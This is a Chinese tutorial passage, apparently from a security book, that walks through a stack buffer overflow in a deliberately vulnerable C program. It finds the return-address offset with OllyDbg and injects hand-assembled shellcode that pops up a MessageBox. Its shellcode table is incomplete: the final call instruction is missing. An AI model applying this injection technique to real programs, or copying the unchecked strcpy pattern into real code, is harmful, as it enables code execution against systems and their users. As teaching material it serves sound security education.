【分享】向进程中植入代码为了完成在栈区植入代码并执行,使用如下的实验代码。
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");//prepare for messagebox
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
} |
这段代码在4.3节溢出代码的基础上修改了3处。
(1)增加了头文件windows.h,以便程序能够顺利调用LoadLibrary函数去装载user32.dll。
(2)verify_password函数的局部变量buffer由8字节增加到44字节,这样做是为了有足够的空间来“承载”我们植入的代码。
(3)main函数中增加了LoadLibrary("user32.dll")用于初始化装载user32.dll,以便在植入代码中调用MessageBox。
实验环境如表4-4-1所示。
表4-4-1 实验环境
| 推荐使用的环境
| 备
注
|
操作系统
| Windows XP sp2
| 其他Win32操作系统也可进行本实验
|
编译器
| Visual C++ 6.0
| 如使用其他编译器,需重新调试
|
编译选项
| 默认编译选项
| VS2003和VS2005中的GS编译选项会使栈溢出实验失败
|
build版本
| debug版本
| 如使用release版本,则需要重新调试
|
说明:即便完全采用所推荐的实验环境,函数返回地址、MessageBoxA函数的入口地址等也需要重新确定,因为这些地址可能依赖于操作系统的补丁版本等。这些地址的确定方法在实验指导中均给出了详细的说明。
用VC6.0将上述代码编译(默认编译选项,编译成debug版本),得到有栈溢出的可执行文件。在同目录下创建password.txt文件用于程序调试。
|
[tr][/tr]
我们准备在password.txt文件中植入二进制的机器码,在password.txt攻击成功时,密码验证程序应该执行植入的代码,并在桌面上弹出一个消息框显示“failwest”字样。
让我们在动手之前回顾一下我们需要完成的几项工作。
(1)分析并调试
漏洞程序,获得淹没返回地址的偏移。
(2)获得buffer的起始地址,并将其写入password.txt的相应偏移处,用来冲刷返回地址。
(3)向password.txt中写入可执行的机器代码,用来调用API弹出一个消息框。
本节验证程序里verify_password中的缓冲区为44个字节,按照前边实验中对栈结构的分析,我们不难得出栈帧中的状态如图4.4.2所示。
如果在password.txt中写入恰好44个字符,那么第45个隐藏的截断符null将冲掉authenticated低字节中的1,从而突破密码验证的限制。我们不妨就用44个字节作为输入来进行动态调试。
出于字节对齐、容易辨认的目的,我们把“4321”作为一个输入单元。
buffer[44]共需要11个这样的单元。
第12个输入单元将authenticated覆盖;第13个输入单元将前栈帧EBP值覆盖;第14个输入单元将返回地址覆盖。
分析过后,我们需要进行调试验证分析的正确性。首先,在password.txt中写入11组“4321”,共44个字符,如图4.4.3所示
|
| 图4.4.3 制作溢出文件 |
如我们所料,authenticated被冲刷后,程序将进入验证通过的分支,如图4.4.4所示。
|
| 图4.4.4 验证栈的布局 |
用OllyDbg加载这个生成的PE文件进行动态调试,字符串拷贝函数过后的栈状态如图4.4.5所示。
|
| 图4.4.5 调试栈的布局 |
此时的栈区内存如表4-4-2所示。
表4-4-2 栈帧
数据
局部变量名
| 内 存 地 址
| 偏移3处的值
| 偏移2处的值
| 偏移1处的值
| 偏移0处的值
|
buffer[0~3]
| 0x0012FAF0
| 0x31 (‘1’)
| 0x32 (‘2’)
| 0x33 (‘3’)
| 0x34 (‘4’)
|
……
| (9个双字)
| 0x31 (‘1’)
| 0x32 (‘2’)
| 0x33 (‘3’)
| 0x34 (‘4’)
|
buffer[40~43]
| 0x0012FB18
| 0x31 (‘1’)
| 0x32 (‘2’)
| 0x33 (‘3’)
| 0x34 (‘4’)
|
authenticated(被覆盖前)
| 0x0012FB1C
| 0x00
| 0x00
| 0x00
| 0x31 (‘1’)
|
authenticated(被覆盖后)
| 0x0012FB1C
| 0x00
| 0x00
| 0x00
| 0x00 (NULL)
|
前栈帧EBP
| 0x0012FB20
| 0x00
| 0x12
| 0xFF
| 0x80
|
返回地址
| 0x0012FB24
| 0x00
| 0x40
| 0x11
| 0x18
|
动态调试的结果证明了前边分析的正确性。从这次调试中,我们可以得到以下信息。
(1)buffer数组的起始地址为0x0012FAF0。
(2)password.txt文件中第53~56个字符的ASCII码值将写入栈帧中的返回地址,成为函数返回后执行的指令地址。
也就是说,将buffer的起始地址0x0012FAF0写入password.txt文件中的第53~56个字节,在verify_password函数返回时会跳到我们输入的字串开始取指执行。
我们下面还需要给password.txt中植入机器代码。
让程序弹出一个消息框只需要调用Windows的API函数MessageBox。MSDN对这个函数的解释如下。
int MessageBox(
HWND hWnd, // handle to owner window
LPCTSTR lpText, // text in message box
LPCTSTR lpCaption, // message box title
UINT uType // message box style
); |
hWnd [in] 消息框所属窗口的句柄,如果为NULL,消息框则不属于任何窗口。
lpTex [in] 字符串指针,所指字符串会在消息框中显示。
lpCaption [in] 字符串指针,所指字符串将成为消息框的标题。
uType [in] 消息框的风格(单按钮、多按钮等),NULL代表默认风格。
我们将写出调用这个API的汇编代码,然后翻译成机器代码,用十六进制编辑工具填入password.txt文件。
题外话:熟悉MFC的程序员一定知道,其实系统中并不存在真正的MessagBox函数,对MessageBox这类API的调用最终都将由系统按照参数中字符串的类型选择“A”类函数(ASCII)或者“W”类函数(UNICODE)调用。因此,我们在汇编语言中调用的函数应该是MessageBoxA。多说一句,其实MessageBoxA的实现只是在设置了几个不常用参数后直接调用MessageBoxExA。探究API的细节超出了本书所讨论的范围,有兴趣的读者可以参阅其他书籍。
用汇编语言调用MessageboxA需要3个步骤。
(1)装载动态链接库user32.dll。MessageBoxA是动态链接库user32.dll的导出函数。虽然大多数有图形化操作界面的程序都已经装载了这个库,但是我们用来实验的consol版并没有默认加载它。
(2)在汇编语言中调用这个函数需要获得这个函数的入口地址。
(3)在调用前需要向栈中按从右向左的顺序压入MessageBoxA的4个参数。
为了让植入的机器代码更加简洁明了,我们在实验准备中构造
漏洞程序的时候已经人工加载了user32.dll这个库,所以第一步操作不用在汇编语言中考虑。
MessageBoxA的入口参数可以通过user32.dll在系统中加载的基址和MessageBoxA在库中的偏移相加得到。具体的我们可以使用VC6.0自带的小工具“Dependency Walker”获得这些信息。您可以在VC6.0安装目录下的Tools下找到它,如图4.4.6所示。
|
| 图4.4.6 使用Depends |
运行Depends后,随便拖拽一个有图形界面的PE文件进去,就可以看到它所使用的库文件了。在左栏中找到并选中user32.dll后,右栏中会列出这个库文件的所有导出函数及偏移地址;下栏中则列出了PE文件用到的所有的库的基地址。
如图4.4.7所示,user32.dll的基地址为0x77D40000,MessageBoxA的偏移地址为0x000404EA。基地址加上偏移地址就得到了MessageBoxA在内存中的入口地址0x77D804EA。
|
| 图4.4.7 计算相关API的虚拟内存地址 |
注意:user32.dll的基地址和其中导出函数的偏移地址与操作系统版本号、补丁版本号等诸多因素相关,故您用于实验的计算机上的函数入口地址很可能与这里不一致。请您一定注意要在当前实验的计算机上重新计算函数入口地址,否则后面的函数调用会出错。能够适应于各种操作系统版本的通用的代码植入方法将在第5章进行详细介绍。
有了这个入口地址,就可以编写进行函数调用的汇编代码了。这里我们先把字符串“failwest”压入栈区,消息框的文本和标题都显示为“failwest”,只要重复压入指向这个字符串的指针即可;第1个和第4个参数这里都将设置为NULL。写出的汇编代码和指令所对应的机器代码如表4-4-3所示。
表4-4-3 机器代码
机器代码(十六进制)
| 汇 编 指 令
| 注
释
|
33 DB
| XOR EBX,EBX
| 压入NULL结尾的“failwest”字符串。之所以用EBX清零后入栈作为字符串的截断符,是为了避免“PUSH 0”中的NULL,否则植入的机器码会被strcpy函数截断
|
53
| PUSH EBX
|
68 77 65 73 74
| PUSH 74736577
|
68 66 61 69 6C
| PUSH 6C696166
|
8B C4
| MOV EAX,ESP
| EAX里是字符串指针
|
续 表
机器代码(十六进制)
| 汇 编 指 令
| 注
释
|
53
| PUSH EBX
| 4个参数按照从右向左的顺序入栈,分别为(0,failwest,failwest,0)
消息框为默认风格,文本区和标题都是“failwest”
|
50
| PUSH EAX
|
50
| PUSH EAX
|
53
| PUSH EBX
|
B8 EA 04 D8 77
| MOV EAX, 0x77D804EA
| 调用MessageBoxA。注意:不同的机器这里的函数入口地址可能不同,请按实际值填入!
|
题外话:从汇编指令到机器码的转换可以有很多种方法。调试汇编指令,从汇编指令中提取出二进制机器代码的方法将在第5章集中讨论。由于这里仅仅用了11条指令和对应的26个字节的机器代码,如果您一定要现在就弄明白指令到机器码是如何对应的话,直接查阅Intel的指令集手工翻译也不是不可以。
将上述汇编指令对应的机器代码按照上一节介绍的方法以十六进制形式逐字抄入password.txt,第53~56字节填入buffer的起址0x0012FAF0,其余的字节用0x90(nop指令)填充,如图4.4.8所示。
|
| 图4.4.8 将机器代码写入文件 |
换回文本模式可以看到这些机器代码所对应的字符,如图4.4.9所示。
|
| 图4.4.9 ASCII编码下的机器代码 |
这样构造了password.txt之后再运行验证程序,程序执行的流程将如图4.4.10所示。
|
| 图4.4.10 栈溢出利用示意图 |
程序运行情况如图4.4.11所示。
|
| 图4.4.11 输入文件中的代码植入成功 |
成功地弹出了我们植入的代码。
但是在单击“OK”按钮之后,程序会崩溃,如图4.4.12所示。
|
| 图4.4.12 被破坏的栈在程序退出时引起程序崩溃 |
这是因为MessageBoxA调用的代码执行完成后,我们没有写安全退出的代码的缘故。
您会在后面的章节中见到更深入的代码植入讨论,包括编写通用的植入代码,在植入代码中安全地退出,甚至在植入代码结束后修复堆栈和寄存器,让程序重新回到正常的执行流程。